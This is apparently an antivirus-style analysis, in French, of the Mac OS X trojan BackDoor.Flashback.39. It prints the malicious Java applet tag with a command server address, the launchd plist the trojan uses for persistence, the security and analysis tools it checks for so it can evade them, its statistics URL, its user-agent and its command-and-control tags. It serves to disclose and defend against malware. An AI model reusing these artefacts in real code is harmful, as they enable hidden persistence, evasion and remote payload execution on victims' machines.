L’infection du système Mac OS X par le Trojan est rendue possible via les vulnérabilités Java. Les paramètres d’installation sont transmis par les paramètres applet, par exemple :
<object type="application/x-java-applet" width="0" height="0"> <param name="s" value="1"/> <param name="q" value="2"/> <param name="svname" value="com.zeobit.keep"> <param name="svbname" value="mkeeper"> <param name="dname" value="Software Update"> <param name="lurl" value="31.31.79.87">'); <param name="archive" value="al-2.jar"> <param name="code" value="a.apl"> </object>
L’exploit sauvegarde sur le disque dur un fichier exécutable et le fichier plist qui est responsable du lancement.
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key><string>com.zeobit.keep</string> <key>ProgramArguments</key><array><string>/Users/<username>/.mkeeper</string></array> <key>RunAtLoad</key><true/> <key>StartInterval</key><integer>4212</integer> <key>StandardErrorPath</key><string>/dev/null</string> <key>StandardOutPath</key><string>/dev/null</string> </dict> </plist>
Après le lancement, le trojan vérifie la présence des composants suivants sur le disque dur. Si c’ets le cas, il s’arrête de fonctionner :
* /Library/Little Snitch * /Developer/Applications/Xcode.app/Contents/MacOS/Xcode * /Applications/VirusBarrier X6.app * /Applications/iAntiVirus/iAntiVirus.app * /Applications/avast!.app * /Applications/ClamXav.app * /Applications/HTTPScoop.app * /Applications/Packet Peeper.app
Ensuite, il envoie un message signalant le succès de l'installation au serveur de statistiques :
http://46.17.63.144/stat_svc/
Le trojan crée une liste de serveurs de gestion et les interroge successivement en utilisant les demandes GET avec la phrase suivante dans le user-agent:
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1; sv:%s; id:%s) Gecko/20100101 Firefox/9.0.1
où sv: est la version du bot, id: est le numéro d’identification unique de l’ordinateur (Hardware UUID).
Après avoir reçu la réponse du serveur de gestion, BackDoor.Flashback.39 vérifie si les tags suivant sont présents:
##begin## ##sign## ##end##
Si le contrôle de la signature RSA est positif, le trojan télécharge et lance un payload sur la machine contaminée.